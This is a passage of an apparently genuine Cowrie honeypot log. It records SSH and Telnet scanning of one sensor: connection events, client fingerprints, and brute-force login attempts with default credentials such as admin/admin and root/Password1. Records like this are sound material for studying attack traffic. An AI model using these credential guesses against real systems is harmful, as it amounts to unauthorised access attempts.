0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:53.501794Z","src_ip":"45.153.34.114","session":"84b6931c746e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:53.615234Z","src_ip":"87.251.64.176","session":"d4d86e1d30a2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:53.716833Z","session":"d4d86e1d30a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:53.752777Z","src_ip":"45.153.34.114","session":"84b6931c746e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:53.815125Z","src_ip":"87.251.64.176","session":"d4d86e1d30a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.147241830825806,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:53.985437Z","src_ip":"74.91.213.120","session":"3fd8a1db68a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:54.050028Z","src_ip":"87.251.64.176","session":"d4d86e1d30a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:54.845345Z","src_ip":"45.153.34.114","session":"84b6931c746e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":57098,"dst_ip":"159.203.135.109","dst_port":23,"session":"50eff82bfa3a","protocol":"telnet","message":"New connection: 74.91.213.120:57098 (159.203.135.109:23) [session: 50eff82bfa3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:57.438662Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":48040,"dst_ip":"159.203.135.109","dst_port":23,"session":"08eb6e75caf5","protocol":"telnet","message":"New connection: 74.91.213.120:48040 (159.203.135.109:23) [session: 08eb6e75caf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:58.205646Z"}
{"eventid":"cowrie.session.closed","duration":30.97310185432434,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:58.547118Z","src_ip":"74.91.213.120","session":"1b9378597569","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.221681118011475,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:00.870751Z","src_ip":"74.91.213.120","session":"8f24f28463ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":48050,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce3a8c05835e","protocol":"telnet","message":"New connection: 74.91.213.120:48050 (159.203.135.109:23) [session: ce3a8c05835e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:01.060630Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":33270,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4802a14d017","protocol":"ssh","message":"New connection: 45.153.34.114:33270 (159.203.135.109:22) [session: c4802a14d017]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:01.511020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:01.516510Z","src_ip":"45.153.34.114","session":"c4802a14d017","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:01.604584Z","src_ip":"45.153.34.114","session":"c4802a14d017","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"uftp","message":"login attempt [uftp/uftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:01.895438Z","src_ip":"45.153.34.114","session":"c4802a14d017","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":48064,"dst_ip":"159.203.135.109","dst_port":23,"session":"e41be0cd34d3","protocol":"telnet","message":"New connection: 74.91.213.120:48064 (159.203.135.109:23) [session: e41be0cd34d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:02.433712Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:02.984571Z","src_ip":"45.153.34.114","session":"c4802a14d017","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":48074,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff4b71eb38a0","protocol":"telnet","message":"New connection: 74.91.213.120:48074 (159.203.135.109:23) [session: ff4b71eb38a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:03.976124Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":48076,"dst_ip":"159.203.135.109","dst_port":23,"session":"5264c23617ca","protocol":"telnet","message":"New connection: 74.91.213.120:48076 (159.203.135.109:23) [session: 5264c23617ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:07.344894Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":53010,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e1fa7250c55","protocol":"telnet","message":"New connection: 74.91.213.120:53010 (159.203.135.109:23) [session: 5e1fa7250c55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:07.363684Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":53018,"dst_ip":"159.203.135.109","dst_port":23,"session":"252a86af418c","protocol":"telnet","message":"New connection: 74.91.213.120:53018 (159.203.135.109:23) [session: 252a86af418c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:07.388365Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":37690,"dst_ip":"159.203.135.109","dst_port":22,"session":"021f5c892b4e","protocol":"ssh","message":"New connection: 45.153.34.114:37690 (159.203.135.109:22) [session: 021f5c892b4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:09.581073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:09.585545Z","src_ip":"45.153.34.114","session":"021f5c892b4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:09.668389Z","src_ip":"45.153.34.114","session":"021f5c892b4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456@","message":"login attempt [root/Aa123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:09.925152Z","src_ip":"45.153.34.114","session":"021f5c892b4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":53042,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b673f3e764d","protocol":"telnet","message":"New connection: 74.91.213.120:53042 (159.203.135.109:23) [session: 7b673f3e764d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:11.034552Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:11.094466Z","src_ip":"45.153.34.114","session":"021f5c892b4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":53032,"dst_ip":"159.203.135.109","dst_port":23,"session":"07034cf23317","protocol":"telnet","message":"New connection: 74.91.213.120:53032 (159.203.135.109:23) [session: 07034cf23317]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:11.775980Z"}
{"eventid":"cowrie.session.closed","duration":31.145852088928223,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:11.802645Z","src_ip":"74.91.213.120","session":"8849e1a9ab7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":53046,"dst_ip":"159.203.135.109","dst_port":23,"session":"7257ea6a878e","protocol":"telnet","message":"New connection: 74.91.213.120:53046 (159.203.135.109:23) [session: 7257ea6a878e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:13.756909Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":53052,"dst_ip":"159.203.135.109","dst_port":23,"session":"e44479fca2f4","protocol":"telnet","message":"New connection: 74.91.213.120:53052 (159.203.135.109:23) [session: e44479fca2f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:15.057078Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":53058,"dst_ip":"159.203.135.109","dst_port":23,"session":"177c11d9d48d","protocol":"telnet","message":"New connection: 74.91.213.120:53058 (159.203.135.109:23) [session: 177c11d9d48d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:15.395472Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":59198,"dst_ip":"159.203.135.109","dst_port":23,"session":"978d0c880789","protocol":"telnet","message":"New connection: 74.91.213.120:59198 (159.203.135.109:23) [session: 978d0c880789]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:17.414208Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":59208,"dst_ip":"159.203.135.109","dst_port":23,"session":"a665faa7d055","protocol":"telnet","message":"New connection: 74.91.213.120:59208 (159.203.135.109:23) [session: a665faa7d055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:17.423430Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":37700,"dst_ip":"159.203.135.109","dst_port":22,"session":"a457c362747d","protocol":"ssh","message":"New connection: 45.153.34.114:37700 (159.203.135.109:22) [session: a457c362747d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:17.814101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:17.830723Z","src_ip":"45.153.34.114","session":"a457c362747d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:17.906424Z","src_ip":"45.153.34.114","session":"a457c362747d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password1","message":"login attempt [root/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:18.242008Z","src_ip":"45.153.34.114","session":"a457c362747d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":59216,"dst_ip":"159.203.135.109","dst_port":23,"session":"57f74d219317","protocol":"telnet","message":"New connection: 74.91.213.120:59216 (159.203.135.109:23) [session: 57f74d219317]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:19.281344Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:19.334100Z","src_ip":"45.153.34.114","session":"a457c362747d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.15595817565918,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:19.637596Z","src_ip":"74.91.213.120","session":"66d956fdbc8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.49910855293274,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:20.373341Z","src_ip":"74.91.213.120","session":"7b57ef8b8508","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.15706515312195,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:20.804560Z","src_ip":"74.91.213.120","session":"11573f244a07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":59224,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea50eba35081","protocol":"telnet","message":"New connection: 74.91.213.120:59224 (159.203.135.109:23) [session: ea50eba35081]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:21.980486Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":59226,"dst_ip":"159.203.135.109","dst_port":23,"session":"797bd9f9886c","protocol":"telnet","message":"New connection: 74.91.213.120:59226 (159.203.135.109:23) [session: 797bd9f9886c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:23.180627Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":48714,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b0292211241","protocol":"ssh","message":"New connection: 45.153.34.114:48714 (159.203.135.109:22) [session: 0b0292211241]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:25.901699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:25.907398Z","src_ip":"45.153.34.114","session":"0b0292211241","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:25.993617Z","src_ip":"45.153.34.114","session":"0b0292211241","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"123456","message":"login attempt [root1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:26.261850Z","src_ip":"45.153.34.114","session":"0b0292211241","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:27.352013Z","src_ip":"45.153.34.114","session":"0b0292211241","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.153016090393066,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:28.591546Z","src_ip":"74.91.213.120","session":"50eff82bfa3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.153215646743774,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:29.358697Z","src_ip":"74.91.213.120","session":"08eb6e75caf5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":43452,"dst_ip":"159.203.135.109","dst_port":23,"session":"06d3502ad3e5","protocol":"telnet","message":"New connection: 74.91.213.120:43452 (159.203.135.109:23) [session: 06d3502ad3e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:29.885705Z"}
{"eventid":"cowrie.session.closed","duration":30.190457344055176,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:31.250978Z","src_ip":"74.91.213.120","session":"ce3a8c05835e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":43460,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2cf9c0fa1ee","protocol":"telnet","message":"New connection: 74.91.213.120:43460 (159.203.135.109:23) [session: e2cf9c0fa1ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:32.222706Z"}
{"eventid":"cowrie.session.closed","duration":30.80391812324524,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:33.237537Z","src_ip":"74.91.213.120","session":"e41be0cd34d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":43466,"dst_ip":"159.203.135.109","dst_port":23,"session":"706f838c7746","protocol":"telnet","message":"New connection: 74.91.213.120:43466 (159.203.135.109:23) [session: 706f838c7746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:33.336806Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":49504,"dst_ip":"159.203.135.109","dst_port":22,"session":"7009e9017fde","protocol":"ssh","message":"New connection: 45.153.34.114:49504 (159.203.135.109:22) [session: 7009e9017fde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:33.626801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:33.631282Z","src_ip":"45.153.34.114","session":"7009e9017fde","protocol":"ssh"}
